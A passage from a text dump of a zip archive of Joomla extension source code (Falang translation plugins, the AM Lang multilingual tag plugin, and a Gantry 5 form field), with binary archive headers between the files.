        $current_lang = JFactory::getLanguage()->getTag();

        //default site language
        $default_lang	= JComponentHelper::getParams('com_languages')->get('site');

        //we update if content language is set to all language or if content language is current_langauge
        // check if marked langage of content is the detaul language:
        if ($table=='#__content' && isset($object->id) &&$object->id>0 ){
            $test = JTable::getInstance("Content");
            $test->load($object->id);
            if ( $test->language == '*'){
                if ($current_lang == $default_lang) {
                    return parent::updateObject( $table, $object, $keyName, $updateNulls );
                }
            }
            if ( $test->language == $current_lang) {
                return parent::updateObject( $table, $object, $keyName, $updateNulls );
            }
        }

        if (isset($falangManager) && ($table != "#__falang_content")){
            $tableName = preg_replace( '/^#__/', '', $table);
            $contentElement = $falangManager->getContentElement( $tableName );
            if( isset( $contentElement ) && $contentElement->getFrontEdit() == 1 ) {
                include_once(JPATH_ADMINISTRATOR."/components/com_falang/models/ContentObject.php");
                $actContentObject = new ContentObject( $falangManager->getLanguageID($current_lang), $contentElement );

                $objectLanguague = isset($object->language)? $object->language:null;
                //the object language must be a language tag
                $languageIsoList = array("*");
                foreach ($falangManager->getLanguagesIndexedByCode(false) as $language)
                {
                    $languageIsoList[] =$language->lang_code;
                }
                $validLanguage = in_array($objectLanguague,$languageIsoList);


                // 1 - si object * => objet joomla si langue cournate et langue en cours sont pareil
                // 2 - si object a une langue , alors object joolma si la langue de l'object = language en cours
                $joomlaObject = false;
                if ($objectLanguague == "*"){
                    if ($current_lang == $default_lang) {
                        $joomlaObject = true;
                    }
                }
                if ( $objectLanguague == $current_lang) {
                    $joomlaObject = true;
                }
                //hikashop woraround //
                $lkeyName = method_exists($object,'getKeyName')?$object->getKeyName():null;
                if( !empty( $lkeyName) && $validLanguage && isset($objectLanguague) && !$joomlaObject ) {
                    $actContentObject->loadFromContentID( $object->id );
                    $actContentObject->updateMLContent( $object );
                    if( isset( $object->state ) ) {
                        $actContentObject->published = ($object->state == 1) ? true : false;
                    } else if ( isset( $object->published ) ) {
                        $actContentObject->published = ($object->published == 1) ? true : false;
                    }
                    $actContentObject->setPublished($actContentObject->published);
                    $actContentObject->store();
                    return true;
                } else {
                    //hikashop workaround this update hit.
                    return parent::updateObject( $table, $object, $keyName, $updateNulls );
                }
            } else { //content element not exist
                return parent::updateObject( $table, $object, $keyName, $updateNulls );
            }

        } else {
            return parent::updateObject( $table, $object, $keyName, $updateNulls );
        }
    }

}PK!m�߃�	�	amlang/amlang.phpnu&1i�<?php
/**
* Class          plg System AmLang
* @author        Maxim Resh (arenam.ru)
* @author mail	 srvice@arenam.ru
* @website		 http://arenam.ru/
* copyright	     Copyright © 2018 - All rights reserved.
* @license       GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
**/

// No direct access
defined( '_JEXEC' ) or die;

jimport( 'joomla.plugin.plugin' );
jimport('joomla.language.helper');

class plgSystemAmlang extends JPlugin {

	public function onAfterRender()
	{	
		// Not work in the admin panel
		if (\JFactory::getApplication()->isAdmin()) {
                return true;
        }
		else
		{
			$user = \JFactory::getUser();
			$body = \JResponse::getBody();
			
			// To check whether there is language operators
			if ( \JString::strpos( $body, '{lang' ) == false ) {
				return true;
			}

			$lang = \JFactory::getLanguage();
			$lang_codes = \JLanguageHelper::getLanguages('lang_code');
			
			if (isset($lang_codes[$lang->getTag()]))
			{
				// Current language
				$current_lang = $lang_codes[$lang->getTag()];
				
				// Show text for the current language
				$regex = "#{lang ".$current_lang->sef."}(.*?){\/lang}#is";
				$body = preg_replace($regex,'$1',$body);
				
				// Do not show text for the current language
				$regex = "#{lang \!".$current_lang->sef."}(.*?){\/lang}#is";
				$body = preg_replace($regex, '', $body);
				
				// Show text for the current language for registered users only
				if (!$user->guest)
				{
					$regex = "#{lang \*".$current_lang->sef."}(.*?){\/lang}#is";
					$body = preg_replace($regex, '$1', $body);
				}
				else
				{
					if ($this->params->get('noregmess') == 1) 
					{
						$regex = "#{lang \*".$current_lang->sef."}(.*?){\/lang}#is";
						$mess  = '<div class="alert alert-info">Log in with your username to see this text<div>';
						$body = preg_replace($regex, $mess, $body);
					}
				}
			}
			
			// Hide other languages
			$regex = "#{lang \![^}]+}(.*?){\/lang}#is";
			$body = preg_replace($regex, '$1', $body);
			
			$regex = "#{lang [^{]+}[^}]+{\/lang}#is";
			$body = preg_replace($regex,'',$body);
			
			$regex = "#{lang \*[^{]+}[^}]+{\/lang}#is";
			$body = preg_replace($regex,'',$body);
			
			// Check
			if ( \JString::strpos( $body, '{lang' ) == true ) {
				$regex = "#{lang(.*?)}#is";
				$body = preg_replace($regex, '', $body);
			}
			
			// Set body
			\JResponse::setBody($body);
			unset($body, $regex, $current_lang, $mess);
			
			return true;
		}
	}
}PK!$���amlang/script.phpnu&1i�<?php
/**
* Plugin         plg_system_amlang
* Name           AM Lang
* @author        Maxim Resh (arenam.ru)
* @author mail	 srvice@arenam.ru
* @website		 http://arenam.ru/
* copyright	     Copyright © 2018 - All rights reserved.
* @license       GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
**/

// No direct access
defined( '_JEXEC' ) or die;

class PlgSystemAmlangInstallerScript
{
    /**
     * Метод для установки
     * @param   object  $parent  Класс, который вызывает этом метод.
     * @return  void
     */
    public function install($parent)
    {   
	    
    }
 
    /**
     * Метод для удаления
     * @param   object  $parent  Класс, который вызывает этом метод.
     * @return  void
     */
    public function uninstall($parent)
    {
       \JFactory::getApplication()->enqueueMessage('If you are unable to deal with my extension or for some reason it does not work, please let me know http://arenam.ru. In any case, thank you for using!');
    }
 
    /**
     * Метод для обновления
     * @param   object  $parent  Класс, который вызывает этом метод.
     * @return  void
     */
    public function update($parent)
    {
        
    }
 
    /**
     * Метод, который исполняется до install/update/uninstall.
     * @param   object  $type    Тип изменений: install, update или discover_install
     * @param   object  $parent  Класс, который вызывает этом метод.
     * @return  void
     */
    public function preflight($type, $parent)
    {
		//\JFactory::getApplication()->enqueueMessage(JText::_('PREFLIGHT_' . strtoupper($type) . '_TEXT'));
        
		// Убрать старые серверы обновления
		$db = \JFactory::getDbo();
        $query = $db->getQuery(true);
        $query->select('extension_id');
        $query->from($db->quoteName('#__extensions'));
        $query->where('element = "amlang"');
        $db->setQuery($query);
		$listid = $db->loadObjectList();
		foreach($listid as $lid)
		{
			$query = $db->getQuery(true);
			$query->select('update_site_id');
			$query->from($db->quoteName('#__update_sites_extensions'));
			$query->where('extension_id = '.$lid->extension_id );
			$db->setQuery($query);
			$listsite = $db->loadObjectList();
			
			foreach($listsite as $lsite)
			{
				$query = $db->getQuery(true);
				$query->delete($db->quoteName('#__update_sites'));
				$query->where('update_site_id = '.$lsite->update_site_id );
				$db->setQuery($query);
				$result = $db->execute();
			}
			
			$query = $db->getQuery(true);
			$query->delete($db->quoteName('#__update_sites_extensions'));
			$query->where('extension_id = '.$lid->extension_id );
			$db->setQuery($query);
			$result = $db->execute();
		}
    }
 
    /**
     * Метод, который исполняется после install/update/uninstall.
     * @param   object  $type    Тип изменений: install, update или discover_install
     * @param   object  $parent  Класс, который вызывает этом метод.
     * @return  void
     */
    public function postflight($type, $parent)
    {
		$db = \JFactory::getDbo();
        $query = $db->getQuery(true);
        $query->select('manifest_cache');
        $query->from($db->quoteName('#__extensions'));
        $query->where('element = "amlang"');
        $db->setQuery($query);
        $manifest = json_decode($db->loadResult(), true);
		
		\JFactory::getApplication()->enqueueMessage(JText::_('POSTFLIGHT_' . strtoupper($type) . '_TEXT'). ' v.'.$manifest['version']);
    }
}PK!�� �

amlang/amlang.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="plugin" version="3" group="system" method="upgrade">
	<name>AMLANG_PLG_SYSTEM_AMLANG</name>
	<creationDate>26.06.2018</creationDate>
	<author>Resh Maxim</author>
	<authorEmail>service@arenam.ru</authorEmail>
	<authorUrl>http://arenam.ru</authorUrl>
	<copyright>Copyright (C) 2018. All rights reserved.</copyright>
	<license>GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html</license>
	<version>1.1.3</version>
	<description>
		<![CDATA[
			<div style='font-size: 30px;font-weight: 600;padding-bottom:10px;line-height: 30px;'>AM Lang</div><div><b>AM Lang</b> The plugin allows you to add multilingual content in one article. The main difference from similar plug-ins is the ability to add multilingual content to article titles, modules, components, meta tags, descriptions, and even directly in the Joomla template. <br /><br /><b>To start using:</b><br />Enable the plugin in <a href="/administrator/index.php?option=com_plugins&filter_search=AM%20Lang">Plugin Manager</a>.<br /><br /><b>Example of use:</b><br />{lang en}text{/lang} Show only for English.<br />{lang !en}text{/lang} Do not show for English.<br />{lang *en}text{/lang} Show text for the current language for registered users only.<br /><br /><a href="http://arenam.ru/en/jextensions">SEE MORE EXTENSIONS FROM ME.</a><br /><br />All rights reserved <a href='http://arenam.ru/' target='_blank'><b>&#174;ArenaM.ru</b></a> | Maxim Resh.<br /></div><div style='font-size: 18px;font-weight: 600;padding-bottom:10px;line-height: 18px;'>Thanks for using!</div>
		]]>
	</description>
	<files>
		<filename plugin="amlang">amlang.php</filename>
	</files>
	<languages folder="admin">
		<language tag="en-GB">language/en-GB/en-GB.plg_system_amlang.ini</language>
		<language tag="en-GB">language/en-GB/en-GB.plg_system_amlang.sys.ini</language>
	</languages>
	<config>
        <fields name="params">
            <fieldset name="basic">
                <field
						name="noregmess"
						type="radio"
						class="btn-group btn-group-yesno radio"
						label="AMLANG_SHOW_MESSAGE_TO_UNREGISTERED_LBL"
						default="1"
						description="AMLANG_SHOW_MESSAGE_TO_UNREGISTERED_DESC">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
			</fieldset>
        </fields>
    </config>
	<scriptfile>script.php</scriptfile>
	<updateservers>
		<server type="extension" priority="1" name="AMLANG_UPDATE_SERVER_NAME">http://arenam.ru/updt?extension=plg_system_amlang</server>
    </updateservers>
	
</extension>PK!jA��3�3#falangquickjump/falangquickjump.phpnu&1i�<?php
/**
 * @package     Falang for Joomla!
 * @author      Stéphane Bouey <stephane.bouey@faboba.com> - http://www.faboba.com
 * @license     GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 * @copyright   Copyright (C) 2010-2017. Faboba.com All rights reserved.
 */

// No direct access to this file
defined('_JEXEC') or die;

jimport('joomla.plugin.plugin');

//Global definitions use for front
if( !defined('DS') ) {
    define( 'DS', DIRECTORY_SEPARATOR );
}

jimport('joomla.filesystem.file');
if (JFile::exists(JPATH_SITE.'/components/com_falang/helpers/defines.php')){
	require_once( JPATH_SITE.'/components/com_falang/helpers/defines.php' );
}
if (JFile::exists(JPATH_SITE.'/components/com_falang/helpers/falang.class.php')) {
	require_once( JPATH_SITE.'/components/com_falang/helpers/falang.class.php' );
}



class plgSystemFalangquickjump extends JPlugin
{

    public function __construct(& $subject, $config)
    {
        parent::__construct($subject, $config);
        $this->loadLanguage();
    }

    public function onAfterRoute()
    {
        if (JFactory::getApplication()->isAdmin()) {

            (jimport('joomla.filesystem.file'));
            //check if the compnent is removed (not the package)
            if (!JFile::exists(JPATH_ADMINISTRATOR . '/components/com_falang/classes/FalangManager.class.php')) {
                return;
            };

            require_once( JPATH_ADMINISTRATOR."/components/com_falang/classes/FalangManager.class.php");

            $falangManager = FalangManager::getInstance();
            $input = JFactory::getApplication()->input;
            $option = $input->get('option', null, 'cmd');
            $view = $input->get('view', 'default', 'cmd');
            $task = $input->get('task', null, 'cmd');

            jimport('joomla.application.component.helper');
            $params = JComponentHelper::getParams('com_falang');

            //get supported component <form></form>
            $component = $this->loadComponent();
            if (!isset($component)){
                return;
            }

            if (!is_null($view) || is_null($task)) {
                if (is_null($view)) {
                    $view = 'default';
                }
                //$view = $jd->getView($option, $view);
            } elseif (!is_null($task)) {
                //$view = $jd->getViewByTask($option, $task);
            }

            //display only on view $taksk is null
            if (is_null($task)) {
                $supported_views = explode(',', $component[3]);
                if (!in_array($view, $supported_views)) {
                    return;
                }
            }


            if (isset($view)) {
                // Intercept the grid.id HTML Field to insert translation status
                if ($params->get('show_list', true)) {
                    JHtml::register('Grid.id', array($this, 'gridIdHook'));
                }
                if ($params->get('show_form',true)) {
                        $this->addToolbar();
                }
            }
        }
    }

    public function gridIdHook() {
        //force loading of JHtmlGrid
        if (!class_exists('JHtmlGrid')) {
            @include_once(JPATH_LIBRARIES.'/joomla/html/html/grid.php');
        }
        $row = func_get_arg(0);
        $id = func_get_arg(1);
        $vars = func_get_args();
        $res = call_user_func_array('JHtmlGrid::id', $vars);
        $ext = JFactory::getApplication()->input->get('option', '', 'cmd');
        //get table by component
        $component = $this->loadComponent();
        $table = $component[1];

        JHtml::_('behavior.framework');
        JHtml::_('behavior.modal');

        //Load interface translation
        JText::script('LIB_FALANG_TRANSLATION');
        JText::script('JSTATUS');
        JText::script('JGLOBAL_TITLE');
        $doc = JFactory::getDocument();
        // @deprecated used for Joomla 2.5
        $doc->addScript('../plugins/system/falangquickjump/assets/falangqj.js');
        $doc->addStyleSheet(JUri::root().'administrator/components/com_falang/assets/css/falang.css');

        $result = array();

        //$languages = $jd->getLanguages();
        //on peut mutualiser
        $falangManager = FalangManager::getInstance();
        $languages	= $this->getLanguages();

        foreach($languages as $language) {
            //get Falang Object info
            $contentElement = $falangManager->getContentElement($component[1]);
            JLoader::import( 'models.ContentObject',FALANG_ADMINPATH);
            $actContentObject = new ContentObject( $language->lang_id, $contentElement );
            $loaded = $actContentObject->loadFromContentID( $id );

            if (!$loaded){
                $result['hide'] = 'true';
                continue;
            }

            $result['status'][$language->sef] = $actContentObject->state . '|' .$actContentObject->published;

            //free and paid mmust be on 1 line
            /* >>> [FREE] >>> */$result['link-'.$language->sef] = 'index.php?option=com_falang&task=translate.editfree&tmpl=component&direct=1';/* <<< [FREE] <<< */
            

        }


        // create array
        if ($row == 0) {
            $table = new stdClass;
	        switch ($component[0]){
		        case 'com_k2':
			        $table->tableselector = ".adminlist";
			        break;
		        case 'com_dpcalendar':
			        $table->tableselector = ".dp-table";
			        break;
		        default:
			        $table->tableselector = ".table";
	        }
            $first = 'var jFalangTable = '.json_encode($table).', falang = {}; ';
        } else {
            $first = '';
        }
        $res .= '<script>'.$first.'falang['.$row.']='.json_encode($result).';</script>';



        return $res;

    }

    /**
     * Adds the translation toolbar button to the toolbar based on the
     * given parameters.
     *
     */
    public function addToolbar() {
        //check if we are in backend
        $app = JFactory::getApplication();
        if (!$app->isAdmin()) {
            return;
        }
        $doc = JFactory::getDocument();

        $falangManager = FalangManager::getInstance();

        $input = JFactory::getApplication()->input;

        $option = $input->get('option', false, 'cmd');
        $view 	= $input->get('view', false, 'cmd');
        $task = $input->get('task', false, 'cmd');
        $layout = $input->get('layout', 'default', 'string');

        if (!$option || (!$view && !$task) || !$layout) {
            return;
        }

        $mapping = $this->loadComponent();

        if (!isset($mapping)){
            return;
        }

        //GET KEY FROM CONTENT ELEMENT
        $id = $input->get($mapping[2], 0, 'int');

        if (empty($id)) {
            return;
        }

        //Fix for joomla 3.5
        if (is_array($id)){$id = $id[0];}

        //Load ToolBar
        $bar = JToolBar::getInstance('toolbar');

        //Load Language
        $languages	= $this->getLanguages();

        // @deprecated used for Joomla 2.5

        //TODO use library ?
        $bar->addButtonPath(JPATH_PLUGINS.'/system/falangquickjump/toolbar/button/');
        $buttontype = 'itrPopup';
        $width = '95%';
        $height = '99%';

        //Add Stylesheet for button icons
        JHTML::_('stylesheet','administrator/components/com_falang/assets/css/falang.css', array(), false);



        //Add button by language
        foreach ($languages as $language) {
            //get Falang Object info
            $contentElement = $falangManager->getContentElement($mapping[1]);
            JLoader::import( 'models.ContentObject',FALANG_ADMINPATH);
            $actContentObject = new ContentObject( $language->lang_id, $contentElement );
            $loaded = $actContentObject->loadFromContentID( $id );

	        //hide quickicon button if speicific language is set to the item
	        if (!$loaded){
	        	continue;
	        }

            $class="quickmodal ";
            //-1 not exist, 0 old , 1 uptodate
            switch($actContentObject->state) {
                case 1:
                        $class .= "uptodate";
                        break;
                case 0:
                        $class .= "old";
                        break;
                case -1:
                        $class .= "notexist";
                        break;
                default :
                        $class .= "notexist";
                        break;
            }
            $publish = (isset($actContentObject->published) && $actContentObject->published == 1 )?" icon-publish":" icon-unpublish";

            //free and paid mmust be on 1 line
            /* >>> [FREE] >>> */$url = 'index.php?option=com_falang&task=translate.editfree&tmpl=component&direct=1';/* <<< [FREE] <<< */
            

            $bar->appendButton($buttontype, 'falang-quicktranslate-'.$language->lang_id, $language->title, $url, $width, $height,null,null,null,null,$language->image,$class,$publish);
        }
    }

    public function loadComponent () {
        $mapping=null;

        $input = JFactory::getApplication()->input;
        $option = $input->get('option', false, 'cmd');
        $view = $input->get('view', 'default', 'cmd');
        //load content element quickjump if exist first
	    $falangManager = FalangManager::getInstance();
	    $contentElmentName = str_replace('com_','',$option);
	    $contentElement = $falangManager->getContentElement($contentElmentName);
	    if (isset($contentElement)){
		    $quickjumps = $contentElement->getQuickjumps();
	    }


        //load supported component
        //        $contentElements = $falangManager->getContentElements();

        //        $value = array();
        //        foreach ($contentElements as $contentElement) {
        //            $form = $contentElement->_xmlFile->getElementsByTagName('component')->item(0);
        //            if (isset($form)){$value[]= trim($form->textContent);}
        //        }

        jimport('joomla.application.component.helper');
        $params = JComponentHelper::getParams('com_falang');

        $component_list = $params->get('component_list');
        $value = explode("\r\n",$component_list);

        //Add quickjump from content element to the last element , so they can be overrided.
        if (isset($quickjumps)){
	        $value = array_merge($value,$quickjumps);
        }

        $components =$value;
        $mapping=null;
        foreach ($components as $component){
        	//if empty line go to next
	        if (empty($component)){continue;}
            $map = explode("#",$component);
            $mapviews = explode(',',$map[3]);
            $mpvcnt = count($mapviews);
            $proceed = false;
            if (count($map)>=3 && trim($map[0])==$option){
                for($xx=0; $xx<$mpvcnt; $xx++){if($mapviews[$xx] == $view){$proceed = true;}}
                if($proceed == true){
                    if (count($map)>3 && (count($map)-3)%2==0){
                        $matched=true;
                        for ($p=0;$p<(count($map)-3)/2;$p++){
                            $testParam = JRequest::getVar( trim($map[3+$p*2]), '');
                            if ((strpos(trim($map[4+$p*2]),"!")!==false && strpos(trim($map[4+$p*2]),"!")==0)){
                                if ($testParam == substr(trim($map[4+$p*2]),1)){
                                    $matched=false;
                                    break;
                                }
                            }
                            else {
                                if ($testParam != trim($map[4+$p*2])){
                                    $matched=false;
                                    break;
                                }
                            }
                        }
                        if ($matched) {
                            $mapping=$map;
                            break;
                        }
                    }
                    else {
                        $mapping=$map;
                        break;
                    }

                }
            }
        }
        return $mapping;
    }


    public function getLanguages(){
        $languages	= JLanguageHelper::getLanguages();
        $default_site_language =JComponentHelper::getParams('com_languages')->get("site","en-GB");
        //remove default language based on falang params
        $params = JComponentHelper::getParams('com_falang');
        $showDefaultLanguageAdmin = $params->get("showDefaultLanguageAdmin", false);
        if (!$showDefaultLanguageAdmin){
            foreach ($languages as $key=>$language) {
                if ($language->lang_code == $default_site_language){
                    unset($languages[$key]);
                }
            }
        }
        return $languages;
    }
}
PK!���5''#falangquickjump/falangquickjump.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension version="3.0" type="plugin" group="system" method="upgrade" >
    <name>plg_system_falangquickjump</name>
    <author>Stéphane Bouey</author>
    <creationDate>23 march 2020</creationDate>
    <copyright>2011-2020, Faboba</copyright>
    <license>GNU General Public License version 2 or later; see	LICENSE.txt</license>
    <authorEmail>stephane.bouey@faboba.com</authorEmail>
    <authorUrl>www.faboba.com</authorUrl>
    <version>3.3.0</version>
    <description>PLG_SYSTEM_FALANGQUICKJUMP_XML_DESCRIPTION</description>
	<files>
		<filename plugin="falangquickjump">index.html</filename>
		<filename plugin="falangquickjump">falangquickjump.php</filename>
        <folder>assets</folder>
		<folder>language</folder>
        <folder>toolbar</folder>
	</files>
	<languages>
		<language tag="language/en-GB">en-GB.plg_system_falangquickjump.ini</language>
		<language tag="language/en-GB">en-GB.plg_system_falangquickjump.sys.ini</language>
	</languages>
	<config>
v	</config>
</extension>PK!�8
!CC+falangquickjump/toolbar/button/itrpopup.phpnu&1i�<?php
/**
 * @package     Falang for Joomla!
 * @author      Stéphane Bouey <stephane.bouey@faboba.com> - http://www.faboba.com
 * @license     GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 * @copyright   Copyright (C) 2010-2017. Faboba.com All rights reserved.
 */

// No direct access to this file
defined('_JEXEC') or die;

class JToolbarButtonItrPopup extends JToolbarButton {
	/**
	 * Button type
	 *
	 * @var    string
	 */
	protected $_name = 'ItrPopup';

  /**
   * @var    array  Array containing information for loaded files
   * @since  3.0
   */
  protected static $loaded = array();


	/**
	 * Fetch the HTML for the button
	 *
	 * @param   string   $type     Unused string, formerly button type.
	 * @param   string   $name     Modal name, used to generate element ID
	 * @param   string   $text     The link text
	 * @param   string   $url      URL for popup
	 * @param   integer  $width    Width of popup
	 * @param   integer  $height   Height of popup
	 * @param   string   $onClose  JavaScript for the onClose event.
	 * @param   string   $title    The title text
     * @param   string   $flag     The flag to add to object
     * @param   string   $class    The class to add to object
     * @param   string   $publish  The icon publish class
	 *
	 * @return  string  HTML string for the button
	 *
	 * @since   3.0
	 */
	public function fetchButton($type = 'Modal', $name = '', $text = '', $url = '', $width = 640, $height = 'function(){ return $(window).height() - 165; }', $top = 0, $left = 0,
		$onClose = '', $title = '',$flag = '',$class='',$publish='')	{
		// If no $title is set, use the $text element
		if (strlen($title) == 0)
		{
			$title = $text;
		}

		$text = JText::_($text);
		$title = JText::_($title);
		$doTask = $this->_getCommand($url);

		$html = "<button class=\"btn btn-small modal " . $class . "\" data-toggle=\"modal\" data-target=\"#modal-" . $name . "\" id=\"#modal-" . $name . "-btn\"";
        $html .= " style=\"background: url(../media/mod_falang/images/".$flag.".gif) no-repeat center;width:26px;height:24px;display:inline-block\">\n";
        $html .= "<span class=\"".$publish." falang-status\"/>";
        //TODO put text in params
		//$html .= "$text\n";

		$html .= "</button>\n";

		// Build the options array for the modal
		$params = array();
		$params['title']  = $title;
		$params['url']    = $doTask;
		$params['height'] = $height;
		$params['width']  = $width;
		$html .= JHtml::_('bootstrap.renderModal', 'modal-' . $name, $params);


        $html .= "<script>\n";
        $html .="jQuery(\"#toolbar-popup-".$name."\").css('float', 'right');\n";
        $html .="jQuery(\"#modal-".$name." .modal-body\").css('overflow', 'auto');\n";
        $html .="jQuery(\"#modal-".$name." .modal-body\").css('height',function(){ return (jQuery(window).height() - 110); });\n";
        $html .="jQuery(\"#modal-".$name." .modal-body\").css('max-height','none');\n";
        $html .="jQuery(\"#modal-".$name." div.modal.fade.in\").css('top','10px');\n";
        $html .= "</script>\n";

		return $html;
	}

  /**
   * Add javascript support for Bootstrap modals
   *
   * @param   string  $selector  The ID selector for the modal.
   * @param   array   $params    An array of options for the modal.
   *                             Options for the modal can be:
   *                             - backdrop  boolean  Includes a modal-backdrop element.
   *                             - keyboard  boolean  Closes the modal when escape key is pressed.
   *                             - show      boolean  Shows the modal when initialized.
   *                             - remote    string   An optional remote URL to load
   *
   * @return  void
   *
   * @since   3.0
   */
  /**
   * Method to render a Bootstrap modal
   *
   * @param   string  $selector  The ID selector for the modal.
   * @param   array   $params    An array of options for the modal.
   * @param   string  $footer    Optional markup for the modal footer
   *
   * @return  string  HTML markup for a modal
   *
   * @since   3.0
   */
//  public function renderModal($selector = 'modal', $params = array(), $footer = '') {
//    // Ensure the behavior is loaded
//    //$this->modal($selector, $params);
//
//    $html = "<div class=\"modal shadow itrmodal hide fade\" id=\"" . $selector . "\">\n";
//    $html .= "<div class=\"modal-header\">\n";
//    $html .= "<button type=\"button\" class=\"close\" data-dismiss=\"modal\">×</button>\n";
//    $html .= "<h3>" . $params['title'] . "</h3>\n";
//    $html .= "</div>\n";
//    $html .= "<div id=\"" . $selector . "-container\">\n";
//    $html .= "</div>\n";
//    $html .= "</div>\n";
//
//
//    $html .= "<script>";
//    $html .= "jQuery('#" . $selector . "').on('show', function () {\n";
//    $html .= "document.getElementById('" . $selector . "-container').innerHTML = '<div class=\"modal-body\"><iframe class=\"iframe\" src=\"" . $params['url'] . "\" height=\"99%\" width=\"99%\" style=\"border:0\"></iframe></div>" . $footer . "';\n";
//    $html .= "});\n";
//    $html .= "</script>";
//
//    return $html;
//  }

	/**
	 * Get the button id
	 *
	 * @param   string  $type  Button type
	 * @param   string  $name  Button name
	 *
	 * @return  string	Button CSS Id
	 *
	 * @since   3.0
	 */
	public function fetchId($type, $name) {
		return $this->_parent->getName() . '-' . "popup-$name";
	}

	/**
	 * Get the JavaScript command for the button
	 *
	 * @param   string  $url  URL for popup
	 *
	 * @return  string  JavaScript command string
	 *
	 * @since   3.0
	 */
	private function _getCommand($url) {
		if (substr($url, 0, 4) !== 'http')
		{
			$url = JURI::base() . $url;
		}

		return $url;
	}
}
PK!�#o,,falangquickjump/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK!^�
5��Cfalangquickjump/language/en-GB/en-GB.plg_system_falangquickjump.ininu&1i�PLG_SYSTEM_FALANGQUICKJUMP="System - FaLang Quick Jump"
PLG_SYSTEM_FALANGQUICKJUMP_XML_DESCRIPTION="Add direct access to translation from joomla items."
LIB_FALANG_TRANSLATION="Falang"

PK!�#o,,)falangquickjump/language/en-GB/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK!�j3b��Gfalangquickjump/language/en-GB/en-GB.plg_system_falangquickjump.sys.ininu&1i�PLG_SYSTEM_FALANGQUICKJUMP="System - FaLang Quick Jump"
PLG_SYSTEM_FALANGQUICKJUMP_XML_DESCRIPTION="Add direct access to translation from joomla items."
PK!��{�PP"falangquickjump/assets/falangqj.jsnu&1i�(jQuery)(function() {
  var tbl;
  if (typeof jFalangTable === 'undefined') {
    return;
  }

  tbl = jQuery(jFalangTable.tableselector);

  if (tbl.length > 0) {
    tbl = tbl[0];
  } else {
    //search for alternative tables but for now we quit here
    return;
  }

  var tblHead = jQuery(tbl).find('tHead');
  var tblHeadSpan = 1;
  var tblBody = jQuery(tbl).find('tBody');
  var tblBodyOffset = 0;
  var row;
  var tmp;
  var i;

  if (tblHead.length == 0) {
    tblHead = tblBody;
    tblBodyOffset = 1;
  } else {
    tblHeadSpan = tblHead.length;
  }

  var position = jQuery(tblHead[0].children[0]).find('th').length-1;

  if (jFalangTable.columnselector != '' && jFalangTable.columnselector > -1) {
    position = jFalangTable.columnselector;
  } else {
    for(i=0; i<position; i++) {
      tmp = jQuery(tblHead[0].children[0].children[i]).find('a');
      if (tmp.length > 0 && tmp.html().trim() == Joomla.JText._('JSTATUS')) {
        position = i;
        break;
      }
    }
    // If we didn't find the status we search for the title
    if (position == jQuery(tblHead[0].children[0]).find('th').length-1) {
      for(i=0; i<position; i++) {
        tmp = jQuery(tblHead[0].children[0].children[i]).find('a');
        if (tmp.length > 0 && tmp.html().trim() == Joomla.JText._('JGLOBAL_TITLE')) {
          position = i;
          break;
        }
      }
    }
  }

  //find col span later
  var rowposition = position;

  var th = jQuery('<th width="10%" rowspan="'+tblHeadSpan+'" class="nowrap center"><a href="#">'+Joomla.JText._('LIB_FALANG_TRANSLATION')+'</a></th>');
  th.insertAfter(tblHead[0].children[0].children[position]);

  jQuery.each(tblBody[0].children, function(line, item){
    if (line < tblBodyOffset) {
      return;
    }
    row = falang[line-tblBodyOffset];
    if (!row) {
      return;
    }

    var td = jQuery('<td class="center"></td>');

    var btngroup = jQuery('<div class="btn-group"/>');
    if (row['hide'] != 'true') {
      var i = 0;
      var perrow = 0;
      for (a in row['status']) {
        if (row['status'].hasOwnProperty(a)) {
          perrow++;
        }
      }
      if (perrow > 3) {
        perrow = Math.ceil(perrow/2);
      }

      jQuery.each(row['status'], function(lang, status) {
        if (++i > perrow) {
          i=0;
          btngroup.appendTo(td);
          btngroup = jQuery('<div class="btn-group" style="margin: 1px 0" />');
        }

          //state|publish
          var res = status.split("|");
          var state = res[0];
          var publish = res[1];

          var stateCss = '';
          //status
          //-1 not exist, 0 old , 1 uptodate
          switch (state)
          {
              case "-1":stateCss = 'notexist';break;
              case "0":stateCss = 'old';break;
              case "1":stateCss = 'uptodate';break;

          }
          var statePublish = '';
          switch (publish)
          {
            case "":statePublish = 'lang-unpublished';break;
            case "0":statePublish = 'lang-unpublished';break;
            case "1":statePublish = 'lang-published';break;
          }

          var height = jQuery(window).height() - 50;
          var width = jQuery(window).width() - 50;

          var x = jQuery('<a rel="{size: {x: '+width+', y: '+height+'},handler:\'iframe\' ,closable: true}" href="'+row['link-'+lang]+'" class="label quickjump quickmodal modal '+stateCss+'"><span rel="tooltip" data-original-title="'+lang+'">'+lang+'</span><span class="'+statePublish+'"></span></a>');

        x.appendTo(btngroup);
      });
    }

    btngroup.appendTo(td);


    td.insertAfter(item.children[rowposition]);
  });

});
PK!�#o,,!falangquickjump/assets/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK!�8ZZgantry5/fields/warning.phpnu�[���<?php

use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Language\Text;

/**
 * @package   Gantry 5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2021 RocketTheme, LLC
 * @license   GNU/GPLv2 and later
 *
 * http://www.gnu.org/licenses/gpl-2.0.html
 */

class JFormFieldWarning extends JFormField
{
    protected $type = 'Warning';

    protected function getLabel()
    {
        return 'Gantry 5';
    }

    protected function getInput()
    {
        /** @var CMSApplication $app */
        $app = JFactory::getApplication();
        $input = $app->input;

        $route = '';
        $cid = $input->post->get('cid', (array) $input->getInt('id'), 'array');
        if ($cid) {
            $styles = $this->getStyles();
            $selected = array_intersect_key($styles, array_flip($cid));
            if ($selected) {
                $theme = reset($selected);
                $id = key($selected);
                $token = JSession::getFormToken();
                $route = "index.php?option=com_gantry5&view=configurations/{$id}";
            }
        }

        if (!$route) {
